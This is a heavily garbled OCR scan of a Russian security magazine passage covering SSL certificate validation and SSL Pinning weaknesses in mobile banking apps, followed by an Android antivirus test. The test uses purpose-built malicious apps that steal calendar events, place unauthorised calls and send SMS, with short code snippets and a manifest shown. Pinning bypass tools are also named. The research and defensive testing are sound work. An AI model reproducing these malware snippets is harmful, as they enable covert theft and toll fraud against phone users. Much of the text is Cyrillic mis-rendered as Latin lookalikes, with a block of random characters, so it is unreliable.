MHUMfleHTbi c Bit9, DigiNator m Comodo. He ctoht 3a6biBaTb v\ o cepTncf)MKaTax APyrwx 

CTpaH, KOMnaHMM, flJlfl KOTOpblX TpacfJMK, MOXHO CKa3aTb, HBTmeTCfl OTKpblTblM. 

KaK yxe 6bmo noKa3aHO, Ha ycTpowcTBax HaxoAHTcn 6onbLuoe KonnHecTBO cepTncf)M- 
KaTOB CA, i/i npi/i KOMnpoMeTau.nn /iK)6oro H3 hhx KOMnpoMeTwpyeTCH noHTi/i Becb SSL-Tpa- 

Cj)MK J\T\9\ yCTpOHCTBa. 

Ecjih CA-cepTncf)HKaT CKOMnpoMeTMpoBaH: 
1 . riojib30BaTe/ib MoxeT yAa/iMTb cepTncJ)MKaT 
M3 AOBepeHHbix: 

• b OC Android no/ib30BaTe/ib MoxeT sto 

CAe/iaTb KaK CO BCTpOeHHblMH cepTnc|)n- 
KaTaMM, TaK M C nOTIb30BaTe/lbCKMMH; 

• b iOS no/ib30BaTeTib MoxeT yAa/iHTb mnb- 



App1 

□ 



KO n0^b30BaTe/lbCKHe CepTMCpHKaTbl. 

2. Pa3pa6oTHMK OC mo>kgt BbinycTMTb o6hob- 
neHi/ie. 

3. l/l3AaTenb cepTncJ)MKaTa MoxeT OT03BaTb 
cbom cepTnc|)MKaT. MexaHi/i3M npoBepKM 
cepTncJ)MKaTa mo>kgt AHHaMMHecKi/i npoBe- 

pMTb 3T0. 

• Android He noAAepxHBaeT hm CRL, 
hm OCSP; 

• iOS ncno^b3yeT OCSP. 



CudeMHoe xpaHmimne 


CepTMCjiUKaTOB 




CucTeMHbie/ 




rionb30Ba- 






BcTpoeHHbie 




Te/ibCKne 






m 




m 











HafleaTbca Ha to, hto no.nb30BaTe.nb caM 6yAeT 
ynpaB/iHTb KopHGBbiMn cepTncJ)HKaTaMn, cnox- 

HO. TaK HTO eAUHCTBeHHbM nyTb — 3T0 >KflaTb 
06H0BJieHMfl OC. OCSP pea^M30BaH He Be3Ae. MexaHM3M pa6oTbi SSL Pinning 

l~lo.nb30BaTe.nb b npoMexyTOK BpeivieHM Mex- 
Ay KOMnpoMeTau,neM h o6HOB/ieHneivi cucTeMbi 

yfl3BMM. 

CA-cepTMqbMKaTbi 6biBaK)T pa3Hbix TunoB — TOHHee, MoryT onyxwTb ajih pa3Hbix u,e- 
ne\A (LUM(J)poBaHMq noHTbi, noAnncn Kop,a m nponero), ho ohm, iok npaBi/mo, xpaHHTcn 
b oahom 6e3onacHOM xpaHmiwme n MoryT i/icnojib30BaTbCfl A-na npoBepKn AOBepi/m 
k HTTPS-coeAHHeHMK). K coxa/ieHHio, KoppeKTHaa npoBepKa Ha3HaneHHfl cepTM4)M- 
KaTa He Be3Ae pea/iM30BaHa. TaKMM o6pa30M, 3/ioyMbiLu/ieHHHK MoxeT no/iyHMTb /ie- 
ruTMMHbM cepTncJ)MKaT ot BbinycKaiomero ueHTpa A-na oahmx uenePi, a ncno^b30BaTb 
A-na ycTaHOBKM HTTPS-coeAHHeHMJi b npouecce MITM-aTaKM. 

Kpoivie Toro, KorAa no.nb30BaTe.nb pa6oTaeT b 6pay3epe, oh MoxeT 3aivieTMTb pa6o- 
Ty c noA03pnTe/ibHbiM cepTM(J)MKaTOM no KpacHOMy 3HanKy 3aMOHKa b CTpoKe aApeca. 
B TaKOM xe CMTyau.nn npw pa6oTe nepe3 npi/inoxeHne no.nb30BaTe.nb hmk3k He 6yAeT mh- 
cfjopMnpoBaH, eoni/i pa3pa6oTHMK 3Toro He npeAycMOTpe/i 3apaHee, hto Ae/iaeT aTaKy 

CKpblTHOM. 



SSL Pinning 

B KanecTBe 3aLii,MTbi ot KOMnpoMeTau.nn KopHeBbix CMCTeMHbix cepTwcrpi/iKaTOB h cneu,n- 
a/ibHO BCTpoeHHbix nojib30BaTe/ibCKnx moxho Mcnonb30BaTb noAxoA SSL Pinning. 

Pinning — sto npouecc accou,naunn xocTa c ero oxMAaeMbiM X509-cepTncJ)MKaTOM 
miw ny6/iMHHbiM K/iiOHOM. npouecc 3aK/iK)HaeTCfi bo BCTpanBaHnn ce pTM cf) h KaTa M/iM ny- 
6nnHHoro Kjnona, KOTopoMy Mbi AOBep^eM npi/i B3aMM0AePiCTBMM c cepBepoM, np^MO 
b npn/iOKeHwe n 0TKa3e ot i/icnojib30BaHHfl BCTpoeHHoro xpaHmiwma cepTncJ)HKaTOB. 
B MTore npn pa6oTe c HaiuMM cepBepoM npunoxeHi/ie 6yAeT npOBep^Tb AGMCTBHTe/ib- 
HOCTb cepTncf)MKaTa TO/ibKO Ha ocHOBaHMM KpnnTorpac|)HHecKoro npMMMTMBa, npoLUMToro 

B HeM. 

npunoxeHMR An^ MB otjii/ihho noAxoA^T Ann ncnonb30BaHna SSL Pinning, TaK KaK pa3- 
pa6oTHMKM tohho 3HaiOT, k KaKMM cepBepaM 6yAeT noAK/iiOHaTbca npn/ioxeHne, h cnncoK 
TaKi/ix cepBepoB Ma/i. 

SSL Pinning 6biBaeT AByx ocHOBHbix Ti/inoB: 
• Certificate Pinning: 

• npocTOTa peajiM3ai_i,MM; 



• HM3Kafl n/i6K0CTb noflxoAa- 
Public Key Pinning: 

• npo6jieMbi c peajiM3au,neM Ha HeKcrropbix n/iaTcfjopiviax; 

• xopowafl m6KOCTb noAxoAa. 

npenMyiAecTBOM Taxxe HB/ifleTca B03MoxHOCTb Mcno/ib30BaTb: 

• cepTM0MKaTbi Self-Signed; 

• cepTncJ)MKaTbi Private CA- Issued. 

Ajih pea/iM3au,MM SSL Pinning Heo6xoAHMO nepeonpeAC/iMTb HeKOTopbie CTaHAapTHbie 
cJ)yHKu,nn m HanncaTb co6cTBeHHbie o6pa6oTHMKM. Ctomt OTMeTMTb, hto SSL Pinning 
He no/iyHMTcn pea/iM30BaTb b c/iynae Mcno/ib30BaHMfl WebView b Android m UlWebView 
B iOS B CBH3M c mx cneu,ncJ)MKOM. 

App1 ati^ npoBepKM acmctemtcti bHOCTM cepTncJ)MKaTa 6yAeT ncno/ib30BaTb TonbKO 

BLUMTbIM CepTMCj)MKaT MJ1M nyS/lMHHblM K/1KDH. App2 npOBepKM AGMCTBMTe/lbHOCTM Cep- 

TncJ)MKaTa OTnpaBMTca b CMCTeMHoe xpaHMJiMme cepTncJ)i/iKaTOB, rAe noc/ieAOBaie/ibHO 
npoMAeT no BceM cepTncJ)MKaTaM. 

Koa AJifl pea^M3au,nn SSL Pinning yxe ceMnac moxho h3mtm Ha caMTe OWASP 
A/ih Android, iOSn .NET. HanMHaa c Android 4.2 SSL Pinning noAAepxMBaeTca HacMCTeM- 
hom ypoBHe. 

KaK m jiio6om koa, npoBepKM npw SSL Pinning MoryT 6biTb pea/iM30BaHbi HeKoppeKTHO, 

M Ha 3T0 CTOMT 06paLU,aTb BHMMaHMe. 

AH A JIM 3 

XB3TMT TeopuM, nepei/iAeM k npaKTi/iKe h pe3y/ibTaTaM. 

A-n^ npoBeAeHi/m 3Toro MconeAOBaHMH MHe noHaAo6n/incb ABa ycTpoMCTBa: iPhone 
ciOS 7 m Android c 4.0.3. 

I/I3 MHCTpyivieHTapMfl Mcno/ib30Ba/iMCb: Burp, SSLsplit, iptables m openssl. BoTTaKOM 
HexMTpbiM Ha6op. KaK moxho AoraAaTbca, npMMeHfljica AHHaMMHecKMM aHanM3 — npocTO 
Lima nonbiTKa ayTeHTM4)MLLMpoBaTbCfl b 6aHKe nepe3 npM/ioxeHMe. npe/iecTb Bcero 3Toro 
b tom, hto Bee npMnoxeHMfl AOCTynHbi 6ecn/iaTHO b Mara3MHax (Google Play m App Store) 
m 3aperMCTpMpoBaHHbix aKKayHTOB bo Bcex (ecTb HecKO/ibKO mck/ijohohmm) 6aHKax HaM 
He HaAO. TaK hto TaKOM SKcnepMMeHT MOxeT npoBecTM /ik)6om xejiaiouiMM c onpeAeneH- 

HblM ypOBHeM 3H3HMM M np^MblMM pyK3MM. 

Mbi npoBepa/iM ABa acneKTa: 

1 . HacKO/ibKO KOppeKTHa BanMAauM^ SSL-cepTMcJ)MKaTa Ha CTOpOHe K/iMeHTa; 

• Mcno^b3yeM caivionoAnMcaHHbiM cepTMqbMKaT; 

• Mcno^b3yeM cepTM(J)MKaT, BbiAaHHbiM AOBepeHHbiM CA Ha Apyroe Mivm xocTa. 

2. l/1cnonb3yeTCH jim SSL Pinning: 

• Mcnonb3yeM CA-cepTM(j)MKaT j2/\9\ AaHHoro xocTa. 

Mbi npoBOAM/iM aKTMBHyK) aTaKy MITM. Rnn 3Toro Mbi 3acTaBJifl.nM xepTBy BbixoAMTb b mh- 
TepHeT nepe3 Hani KOHTponMpyeMbiM iunio3, Ha kotopom npoM3BOAn/iM MaHMnynflu,MM 

C CepTM(J)MKaTaMM. 

A/m npoBepKM pa6oTbi c caivionoAnMcaHHbiMM cepTM(|)MKaTaMM Mbi creHepMpoBa/iM 

C06CTBeHHblM. 

J\ns\ npoBepKM HajiMHMH SSL Pinning m npaBM/ibHOCTM npoBepKM mmchm xocTa Mbi re- 



yCTpOMCTBO. 

MTAK, PESYJIbTATbl 

y iOS 6% npmioxeHMM, a y Android 11% npmioxeHMM mvie/in cbom co6cTBeHHbiPi npo- 
toko/i, i/i 6e3onacHOCTb TaKoro B3anM0AGMCTBM^ Tpe6yeT nny6oKoro pynHoro aHa/iki3a. 
M3 3pnTe/ibHoro aHann3a TpacJ)HKa moxho CKa3aTb, hto oh coAepxi/iT KaK noHHTHbie, hm- 
TaeMbie AaHHbie, TaK n cxaTbie/3aiui/icj}poBaHHbie AaHHbie. no HaiueM i/i mmpobom npaKTM- 
Ke moxho CKa3aTb, hto, Bepo^THee Bcero, sti/i npmioxeHMH y^3BMMbi k aTaKe MITM. 

14% iOS-npmioxeHUM n 15% Android-npn/io>KeHMki y?i3BHMbi k caMonoAnwcaHHbiM 
cepTncJ)MKaTaM. Kpaxa cpgactb stux npunoxeHMM jiMLUb Bonpoc BpeivieHM. 

14% iOS-npM/ioxeHMM v\ 23% Android-npHnoxeHMM y«3BMMbi k CA-signed cert 
hostname. TaKxe ctomt OTMeTMTb, hto npw npoBepKe hmch xoctob MOxeT B03HMKaTb mho- 
xecTBO olum6ok npoBepoK. B cbh3m c TeM hto AaHHaa npoBepKa npon3BOAH-nacb mnbKO 
c oahmm MMeHeM, moxho CHMTaTb AaHHbie pe3y/ibTaTbi JiMLUb HMXHePi rpaHMi4eM KOTIMHe- 
CTBa y«3BHMbix npunoxeHMM. 

f1pn 3tom ctomt CKa3aTb, hto TO/ibKO oahh 6aHK wivieeT OAHOBpeivieHHO y«3BMMoe npw- 
noxeHne Ana iOS v\ Android. 

SSL Pinning BCTpenaeTca oneHb peAKo: b 1% npnnoxeHMM Arm iOS v\ b 8% npHnoxe- 
hmm ajih Android. I1pn stom HyxHO OTMeTMTb, hto, bo3mo>kho, 3Ta npoBepKa He npoiuna 
no KaKMM-nn6o mhhm npunnHaivi, He CBH3aHHbiM c SSL Pinning, n npoueHT npunoxeHMM, 
McnonbsyKDiAnx AaHHbiPi MexaHM3M, eu\e MeHbiue. TaKxe Mbi He nbiTa/incb o6omtm 3tot 
3aLu,nTHbiM MexaHH3M i/i He aHann3npoBa^n KoppeKTHOCTb ero peann3au,nn. 

3AKJHOHEHHE 

KapTMHa, K3K Tbi BMAHLUb, He caMaa paAOCTHaa... 

P.S. TaKxe xony CKa3aTb, hto aHanornHHbie yji3BMMOCTM a HaxoAnn n ynacTBya b pa3nnH- 
Hbix Bug Bounty nporpaMMax :). JL 



BpeAOHocHbie SOHO-poyTepbi 



KnaccHaa HaxoAKa h nccneAQBaHMe ot napHePi H3 Team Cymru — ohm Hau±nn 3/iOBpeA, ko- 
TopbiM, nonaAa^ bo BHyTpeHHioK) ceTb, MeHH/i HacTpofiKu DNS Ha cbom. 3to 3H3HMT, hto Te- 
nepb He mnbKO BHyTpeHHHe MauiHHbi nepeHanpaBJianncb Ha noAKOHTponbHbie 3JioyMbiLu- 
jieHHMKy caMTbi, ho m Bee Mo6nnbHbie ycrpoPiCTBa, KOTopbie u,ennanncb k stmm poyTepaM 
no Wi-Fi! B pe3y/ibTaTe nonynaeM bot t3kom 3aMbicnoBaTbiM MITM. 



flpnivieHeHMe SSL Pinning b Haujn ami 



BnepBbie TexHO/iomn wwpoKO pacnpocipaHmiacb b Chrome 13 nj\n cepBMCOB Google. Ra- 
nee 6bmn Twitter, Cards. io m nponee. 

Cewnac yxe Bee Mara3MHbi Mo6wibHbix npmioxeHnPi (Google Play, App Store, 
WindowsPhone Market) i/icnojib3yiOT AaHHbiM noAxoA Ann pa6oTbi co cbommm ycTpowcTBa- 
mm. K npurviepy, KOMnaHwa Apple BLUMBaeT OTnewaTOK cepTucfjuKaTa Apple Root CA b ycTpoM- 
ctbo nj]9\ npoBepKM noAnwcn 3anycKaeMbix Ha HeM npwioxeHMki, b cbh3m c HeM He/ib3fl 3a- 
nycTMTb Ha iOS-ycTpowcTBe (6e3 jailbreak) npmioxeHHe, He npoBepeHHoe/noAnwcaHHoe 
Apple (ncK/iKDHeHMe — Ad-Hoc-npmioxeHi/ia). 



06xoa SSL Pinning 

SSL Pinning mo>kho o6oPiTn/oTK/iK)HMTb, ec/in Ha Mo6mibHOM ycTpowcTBe npucyrcTByeT 
jailbreak hjih root-AOCTyn. KaK npaBmio, 3to HyxHO ToribKO Mcc/ieAOBaTe/i^M n/\n anan\A- 
3a ceieBoro TpacjDMKa. OTK/uoneHi/ifl Ha Android ecTb nporpaMMa Android SSL Bypass, 
A/ifl iOS — nporpaMMbi iOS SSL Kill Switch v\ TrustMe. 

flo i/iAee, 3tm xe noAxoAbi MoryT ncno/ib30BaTb m BpeAOHOCHbie nporpaMMbi. 



fljiaBatoiune yfl3BMMoc™ 

KaK noKa3biBaeT Ham onbiT b aHa/iM3e 6e3onacHOC~m Mo6wibHbix npmioxeHMui, noHTM 
BcerAa n pncyTOTByeT koa, OTBenaiOLiu/ifi 3a OTK/noneHi/ie npoBepKn AetiCTBHTe/i bHOCTM 
cepTMc|)MKaTa. A^HHbiM koa Mcno/ib3yeTC?i pa3pa6oTHMKaMM nj\n TecTOBbix u,enev\. B cba- 

3M C 3TMM M3-3a HeBHMMaTe/lbHOCTH pa3pa60THWKa KOA MOXeT nOnaCTb B MTOrOBbIM pe/IM3 

nporpaMMbi. TaKMM o6pa30M, yq3BMMOCTb npoBepKH AewcTBHTenbHOCTn cepTi/icJ)MKaTa 
MoxeT noflB/iHTbCfl b oahom Bepcun n MCHe3aTb b APyroM, hto Ae/iaeT AaHHyio y«3BM- 
MOCTb «n/iaBaiOLneki» ot Bepcun k Bepcun. B i/rrore 6e3onacHOCTb AaHHoro KOAa 3aBncm 
ot npaBM/ibHOCTM npou,eccoB, opraHM30BaHHbixy pa3pa6oTHMKa. 



B3SIOM 




flMmpwM «D1g1» Ebaokmmob, 

Digital Security 

@evdokimovds 




COOT flJlfl B3J10MA l/l AHAJ1M3A BE30nACHOCTM 




@ 

WARNING 

BHMMaHne! klH^opMauwa 
npeAdaBjieHa 

MCKJllOHMTGJlbHO C Lje/lbK) 
03HaK0M/ieHMJl! Hm aBTOpbl, 

HH peflaKLlMfl 33 TBOM 
AeMCTBMfl OTBGTCTBeHHOCTH 

He Hecyr! 



Malware 



3BPHCTHHECKMH 

TECT AHTMMAJ1BAPH 
flJlfl ANDROID 

CPABHMBAEM AHTMBMPYGbl B BOPbBE 
C HEM3BECTHblM [1POTI/1BHI/1KOM 

(T3HXNmaNaaaon :sam\iono) 

B no3anpoLunoM HOMepe xypHana Mbi 

TeCTHpOBaJIM CnOC06HOCTb M06mibHblX 
aHTMBMpyCOB HaXOAMTb Ha yCTpOI/lCTBG 

o6pa3u,bi nony/i^pHOi/i Ma/iBapi/i. Bee npo- 

rpaMMbl-yHaCTHMKM CnpaBMJll/ICb C 3T01/I 

3aAaneM Ha otjimhho mjim yAOB/ieTBopn- 
Te/ibHO. Hy noH^THoe Reno, ohm xe \ax 

3Ha/lH ;). B 3T0T pa3 Mbl yCJIOXHMM i/i m 3a- 

Aany — npeA-noxi/iM o6Hapyxi/iTb Bi/ipycbi, 
KOTopbie OTcyTCTByiOT b mx 6a3ax. 



4^ 




OB YHACTHMKAX 



B HaiueM 3KcnepnMeHTe ynacTByfOT rmTb Mo6mibHbix amnBHpycoB (Te >Ke, 
hto n b npouinbiw pa3). Bot mx nouMGHHbiM cnwcoK c pe3y/ibTaTaMn npeAbiAyLuero Tecia: 



Dr.Web v. 9 
Bee rmTb 
BMpycoB o6Ha- 
pyxeHbi 




Kaspersky 
Internet Security 

Bee nflTb 
BnpycoB o6Ha- 
pyxeHbi 




Mobile Security 
& Antivirus 
o6HapyxeHbi 
neTbipe Bwpyca 



360 Mobile 

Security 
o6HapyxeHbi 
neTbipe Bnpyca 




Lookout Mobile 

Security 
o6HapyxeHbi 
neTbipe Bi/ipyca 



Bnpycbi 

A/m npoBeAeHMH TecTi/ipoBaHwa HaM Heo6xoAHMO 6bmo HaPiTM i/ijih co3AaTb caMMM npw- 
noxeHMjq, KOTOpbie 6bi 3aHHMa/incb BpeAOHOCHOii AeflTe/ibHOCTbrO, ho eiue He nonanw 
b none 3peHHH aHTi/iBnpycHbix CKaHepoB. McKaTb TaKwe o6pa3u,bi b MHTepHeTe 3aHflTwe 
6ecnone3Hoe — npow3BOAHTe.nn Mo6n.nbHofi aHTi/iMa/iBapn 3opKO aneAflT 3a aKTya/ibHO- 
CTbK) cbohx 6a3, m eani/i o BMpyce 3aroBopn/in Ha cfjopyrvie win Hannca/in CTaTbio, to ero 
cnmaTypbi y>Ke M3BecTHbi BceM jinAeparvi pbiHKa aHTHBwpycoB. nosTorvry npHLunocb He- 
MHoro noAHanp^Hbca. 

MTaK, pnn TecTa 6bino C03AaH0 neTbipe cj)afi.na c pacujnpeHneivi apk h HexenaTenb- 
HbiM cJjyHKu.MOHanoM bhvtpm: 

• StealPlans.apk — cni/rrbiBaeT co6biTna KaneHAapa m OTnpaBrmeT Ha cepBep; 

• SecretsCall.apk — 6e3 cor/iacHH nojib30BaTe.rm Ae/iaeT 3bohok Ha onpeAe/ieHHbiM 
HOMep; 

• SendSms.apk — caMOBO/ibHO paccbmaeT SMS. McxoAHbiM koa 3aLun(J)poBaH; 

• badnews.apk — c6opKa H3 npeAbiAymero TecTa, noABeprHVTaa npoueAype o6(J)y- 

CKaU,MM K0A3- 

ATenepb pa36epeM noAPo6Hee MexaHM3M pa6oTbi nporpaMM, yMacTByrOLui/ix b TecTe. 



S Package Explorer £3 






JT) Main/Wivflty.java |Oj fragment_main xml 


|cfj 'SendSms Manifest £3 I 


\z~ appcompat_v7 
a 'jji SendSms 
t> gj src 

f\ n^n [fipnprafrpH la .a F 






<?xirl version="2.0" encoding="ut/-8"?> 
-' <manif est xmlns : android= "http : //sehemas . android, com/ 'apk/ 'res /android" 
package= "com. example. sendsms " 
android : versionCode= "2 " 



> A 

t> Wk 



> 
> 
> 

> 



Android 4.4.2 

Android Private Libraries 

Android Dependencies 

assets 

bin 

libs 

res 

fit drawable-hdpi 
£3- drawable-ldpi 
£3 drawable-mdpi 
fit drawable-xhdpi 
£3 drawable-xxhdpi 
layout 

[a activityjnain.xml 
G fragment_main.xml 
l23> menu 
& values 
fit values-v11 
G3> values-v14 
& values-w820dp 
AndroidManifest.xml 
icjauncher-web.png 
proguard-project.txt 
project.properties 



android: versionName= 1.0 > 
I 

<uses- permission android: name= "android. permission. SEND_St'iS"></ uses- permission > 

<uses-sdk 

android :minSdkVersion="8" 
android : targetSdkVersion="29" /> 

r' <application 

android :allowBackup= "true" 
android : \cor\="@drauable/ic_launcher" 
android : label= "§string/app_name " 
android :theme="§styLe/AppTheme" > 
octivity 

android : name="cow. example . sendsms .f-iainActivity" 
android : label="^string/app_nome" > 
© <intent-filter> 

oction android :name= "android. intent. action. MAIN" /> 

<category android : name="android. intent. category. LAUNCHER" /> 

</intent-filter> 
</activity> 
</application> 

</manifest> 



■ StealPlans.apk 

npnycTaH0BKe3anpaiiiMBaeTy no/ib30BaTe^^ npaBaHaflOCTyn KKa/ieHflapK) (android, 
permission. READ_CALENDAR). 

• npn 3anycKe npwio>KeHMfl noKa3biBaeT nonb30BaTe.nK) TeKCTOBoe none. 

• OAHOBpeivieHHO c stmm HannHaeT cm/iTbiBaTb co6biTM« KaneHAapa Ha ceroAHHLUHMM 
AeHb (c noMOLu,brO mgtoaob K/iacca CalendarContract. Events) 

m nodpoHHO ompaB/iReT i/ix POST-3anpocoM Ha cepBep k PHP-CKpumy (i/icnojib3yfl o6"b- 

GKT HttpPOSt()). 

flBrmeTca nv\ nporpaMMa, KOTOpaa 6e3 BeAOMa no/ib30BaTerm coo6Lu,aeT ero n/iaHbi 

Ha ASHb HeM3BeCTHO KOMy, BpeAOHOCHOM? OAH03HaHHO. M HanMCaTbTaKOM «>KyHOK» ane- 

MeHTapHO. 3acTaBMTb xepTBy npi/i ycTaHOBKe nporpaMMbi AaTb ev\ Heo6xoAHMbie pa3pe- 
LueHna — Toxe 3aAanKa 6e3 3Be3AOHKn. Bot HecKO/ibKo v\f\ev\ npn/ioxeHkifi, ot KOTOpbix 
Tpe6oBaHna o AOCTyne k KaneHAapio He Bbi30ByT noA03peHMM: xeHCKMM 6no/iornHecKMM 
AHeBHUK, cnpaBOHHMK pe^nrno3Hbix npa3AHMKOB, pacnucaHMe A-nfl LUKO/ibHMKOB... no/ieT 
c|)aHTa3MM 6ecKOHeneH! 

■ SecretsCall.apk 

Ilpi/i ycTaHOBKe 3anpaLiinBaeT y no.nb30BaTe.rm npaBa Ae/iaTb 3bohki/i i/i He coo6ma~rb 
eMy 06 3tom (android. permission. CALL PRIVILEGED). 

• npn 3anycKe npmioxeHHH noKa3biBaeT nonb30BaTenrO TeKCTOBoe none. 
Ee3 na/ieBa HannHaeT 3BOHMTb Ha 3aAaHHbiM HOMep: 

Intent calllntent = new Intent (Intent . ACTION_CALL) ; 
// ypa, Te/ie^OH HpuHbi HepHOBofi ! - ripuM. p eA « 
calllntent . setData(Uri . parse( "tel : 7916462833*" ) ) ; 
startActivity( calllntent) 



B OTfiMHne ot npeAbiAymeii, AaHHaa c6opi<a He MOxeT 6biTb i/icnonb30BaHa A-na kohctpvk- 

t 1/1 Run m nPQTPnKHnr.Ti/i Pa^RP uth r Ri/inp npnRnannpnhr.mM iii\/tki/i i/im/i nna nn.^naHi/ia 



6othgt3 «3acnaMb 3B0HKaMM CBoero 6biBiuero». Ho ee 4)yHKi_i,MOHa/ia AOCTaTOHHO, HTo6bi 

CHMTaTb ee BpeAOHOCHOM H XAaTb OT aHTMBMpyCOB 3aLHHTbl OT nOA06HblX CK)pnpM30B. 

fl/m TaMHbix 3bohkob Ha rmaTHbie HOMepa, KaK npaBmio, nniuyT 6o/iee c/io>KHoe npn- 
jioxeHi/ie (MoryT 6biTb Ao6aB/ieHbi: npoBepKa onepaiopa a6oHeHTa, BbinarmeHi/ie 3boh- 
kob b onpeAe/ieHHoe BpeMfl cyTOK, o6pa6oTKa olum6ok, yciaHOBKa Jii/iMma BpeivieHM coe- 
AHHeHMfl n nponee). BbinpocnTb y no/ib30BaTerm pa3peujeHne CALL PRIVILEGED moxho 
noA bmaom MeHeA>Kepa KomaKTOB mjim 3aMeHHTe/m Teivi6pa ro/ioca npw pa3roBope. 

■ SendSms.apk 

• ripn ydaHOBKe 3anpaujMBaeT y no.nb30BaTerm npaBa Ha paccbmKy SMS 6e3 ero co- 
maci/ia (android. permission. SEND SMS). 

• npM 3anycKe npwioxeHMfl noi<a3biBaeT no.nb30BaTe.nio TeKCTOBoe none. 
B to xe caMoe BpeMH nocbmaeT HecaHKu,noHnpoBaHHoe coo6iu,eHne 

startActivity(new Intent (Intent .ACTI0N_VIEW, <-< 
Uri . parse( " sms : 791646283** " ) ) ) ; 

/Imhho h 6bi He CTa/ia ycTaHaB/iMBaTb npmio>KeHne, KOTopoe npocirr no3BO/ieHHfl Ha ca- 
MOBonbHyio ompaBKy SMS. Ho MHe He pa3 npnxoAH-nocb Ha6/iiOAaTb, KaK B3pocnbie aAeK- 
BaTHbie jikdah, KOTopbiM He Tepne/iocb nocKopee nonpo6oBaTb HOByto uirpy, He rrmAfl. Aa- 
BanM Ao6po Ha Aec^TOK pa3peiueHMPi. 

HTo6bi yc/io>KHMTb aHTMBupycaM 3aAany, c6opKa 6bma noABeprHyTa o6<t>ycKau,MM 
c noMombK) JfxStore . 

■ BadNews.apk 

Bnpyc BadNews BbiLue/i b CBeT b nponinoM roAy. SMS-TpoflHeu,. TaKxe yivieeT OTnpaB- 
rmTb nonb30BaTen^M 4)ajibLUMBbie coo6w,eHum ot Facebook m Google. C6opKa M3 npeAbi- 
AyLMero TecTa, o6c()ycuM poBaHHaa JfxStore. 



obllj,me nPMHunnbi 

3BPI/lCTl/IHEU,CK0r0 CKAHMPOBAHM^ 

B AaHHOM MaTepnane Mbi TecTHpyeM cnoco6HOCTb aHTHBMpycoB HaxoAHTb 
«Hen3BecTHbie HayKe» BpeAOHOCHbie nporpaMMbi. KaKi/iM o6pa30M ohm ot/im- 
naKDT nop^AOHHoe npmioxeHi/ie ot noTeHu.wa.nbHO onacHoro? Pa36epeMCH, 
KaK 3to pa6oTaeT. 

Bo-nepBbix, npowcxoAUT AeKOMnmiflu,Mfl APK-c6opKM b 63mt-koa (He ny- 
TaTbc MaiuMHHbiM koaom!). KoTopbiw, b cbokd OHepeAb, noABepraeTca npoBep- 
Ke aHann3aTopoM. Hto AenaeT aHani/i3aTop? Oh nbiTaeTca h3mtm b 6airr-K0- 
Ae curHaTypbi M3 CBoePi 6a3bi BnpycoB. Ecni/i sto yxe i/i3BecTHafl m/im HOBaa 
ManBapb, KOTOpaa co3AaHa 6ecxnTpocTHbiM nenoBeKOM, He noAO me allium 
cepbe3H0 k 3aAane oSc^ycKaunn nnn caMoreHepau,nn KOAa, to o6Hapy>KeHne 
npon30MAeT Ha stom 3Tane. 

flocne 3Toro (nopHAQK AePicTBMM) am~kiBnpyc MMMTMpyeT Bbino/iHeHwe 



npunoxeHMfl n aHa.ni/i3npyeT AofiCTBi/m, KOTopbie oho npon3BOAHT. Ec/in b npo- 
rpaMMy 3a/io>KeHbi (J)yHKu,i/in, xapaKTepHbie ajih BnpycoB (TaMHoe KonnpoBa- 
Hue AaHHbix nojib30BaTejifl, Hanpwviep), n/in OHa coAepxnT caMoreHepupyfo- 

lAHMCfl M/1M 3aLUMCj)pOBaHHblM KOA, TO OHa HaBGpHfllO HBJlfleTCfl BpeAOHOCHOPl. 

3BpncTMHecKoe CKaHnpoBaHne rvioxeT npocMOTpeTb xopoiuo 3aiuMct)po- 

BaBLLMMCfl BMpyC M/1M 6eCI~IOHBeHHO 06BMHMTb BO BpeAHTe/lbCTBe HGBMHHOe 

npunoxeHwe. npoi/i3BOAHTejin aHTHMa/iBapw nocTOHHHO coBepweHCTByrOT 
cbom TexHO/iorun, ho m BwpyconncaTejin Toxe He cma^t Ha MecTe. 



[BlwbVB^UlA^blMLbUplli w bq~jtT;i414BH w iiilllJ>lJ| lUflO, B kb§»KlN s fleGlUy I b_a<l 
" >yflA > f ?0DUJC~ M bOiiy o ?gpieQ§ , i biyOoB | uiWmt«s/"H)%ngS 0 TxBm6 " bK . K)Q | Diuj 
I X?ylfl ' r*7i6 f< ls_[]IOCu}2uKb%pN <3 /i r9Ds%jbw^i [y»tx%b_DUI- rI6b# | W(Dgsio™l| 
[iStwqrBbbiH ?G I GY 1 8->\3Hf a > ] SeOz+tttOBlM^bo' Mhfl*3eic5 ! C_E5Ui| 
|,u6 jD9M Hspbfl4>_y -T J 606byfn{aDlJJ J CflK„nriM$iu;H 0 -4b7Do»DMrtbiiJ 
i6995R~ti^>biDya3^1PryD±Aabl!H^ AW \cfl^6gyAy2bSrixAtiurW2ri0r J BeO<})qDq 
pMnyLGpMBqfl3qGBX§/i^o«...jfl)HllWxflQO;6iy f j | er J ±pH*ar0U0Kx[bD0§-5g , UJ^ 
Du I cHflo*[}-SSF„®Hte I N]K)abOH]n : P~it>: {UtySR^HYcrKLeK! ibr9sC3€biX>| 
r 37Q : dHMAeibi 1 BxfbJKK,, ( : R] iFmxTCM] ■ Isb : ~5~ | ( ; -Ti- ' HCNA® < TE-2D g ff ! 
lvuT©gbffiTR. K3ir J 3-uKS3-/iy4»b(SA_xm J t7DSsykyiU0UDeoG3I^T3Sr8M«iii- 1 
|Re» Nn<yyE jM-YD«44/n >D[ | C3-h3<t>q0-r£f t~ornEsiw«blM} . B^ p 'M,Qe f Hy: 
f <|> . E A 0HZ 1 r j TaquIDrb^Aar , Q/lil - ( | F LM~03=LDUTflFb»^oyYfl -An j iuas < 
> " mzaO , Wgflr4( U@™Ha ; U^sTfix^ 





YcTpoPiCTBO AJi5i TecTa: 
Samsung Galaxy Tab 2 
7.0P3100 

Bepcwfl 

Android -npoujuBKM: 
P3100XXDMC2 



M || M 

I Over the horizon Sam: 

Cool breeze Samsung 



Over the horizon Sam tl.li. 




nOPflflOK nPOBEAEHMq TECTA 



Ha ruiaHuieT 3arpyxa^ncb Bee 
c6opKM, npHHMMaKDmne ynacTMe 
b TecTe (MHCTa^^^una npn^oxeHMM 
He npon3BOAH-nacb). 

floane aToro nponcxofln/ia 
ycTaHOBKa npOBepaeivioro 
aHTMBkipyca. 



riOflCHI/ITblBa/lMCb 

BbmB/ieHHbie 
yrpo3bi. 



3anycKa/iocb 
CKaHnpoBaHne 

CMCTeMbl. 



flenHCTa^/iMpOBa/ica n3yHaeMbM 
aHTMBupyc, m yqajifljincb c^aM/ibi 
c Ma/iBapbKD. 



\\\ V 

% % % % 

PE3YHbTATbl TECTA % % 




Dr.Webv.9 






Kaspersky Internet Security 












